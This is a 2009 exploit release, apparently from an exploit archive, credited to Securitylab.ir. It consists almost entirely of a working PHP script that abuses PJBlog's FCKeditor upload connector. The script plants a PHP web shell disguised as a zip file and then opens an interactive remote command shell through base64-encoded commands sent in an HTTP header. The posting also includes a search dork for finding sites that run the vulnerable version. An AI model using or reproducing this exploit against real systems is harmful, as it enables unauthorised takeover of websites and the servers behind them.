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pjblog-upload.txt

Posted on 19 September 2009

################################################################
# Discoverd By: Securitylab.ir                                                                    #
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir                        #
################################################################
# Application Info:                                                                                    #
# Name: PJBlog                                                                                      #
# Version: v3.0.6.170                                                                               #
# Dork: intext:"PJBlog3 v3.0.6.170"                                                           #
################################################################
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "
[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function connector_response($html)
{
 return (preg_match("/OnUploadCompleted((d),"(.*)")/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "
+------------------------------------------------------------------+";
print "
| PJblog (fckeditor) Arbitrary File Upload Exploit |";
print "
+------------------------------------------------------------------+
";
if ($argc < 3)
{
 print "
Usage......: php $argv[0] host path";
 print "
Example....: php $argv[0] localhost /";
 print "
Example....: php $argv[0] localhost /PJblog/
";
 die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename  = md5(time()).".php";
$connector = "FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php";
$payload  = "--o0oOo0o
";
$payload .= "Content-Disposition: form-data; name="NewFile"; filename="{$filename}"
";
$payload .= "Content-Type: application/zip

";
$payload .= "PK0304<?php error_reporting(0);print("_code_\n");passthru(base64_decode($_SERVER[HTTP_CMD])); ?>
";
$payload .= "--o0oOo0o--
";
$packet  = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o
";
$packet .= "Connection: close

";
$packet .= $payload;
if (!connector_response(http_send($host, $packet))) die("
[-] Upload failed!
");
else print "
[-] Shell uploaded to {$filename}...starting it!
";
$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root
$packet  = "GET {$path}{$filename} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";
while(1)
{
 print "
Falt4-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("
[-] Exploit failed...
");
 }
 else break;
}
?>

 

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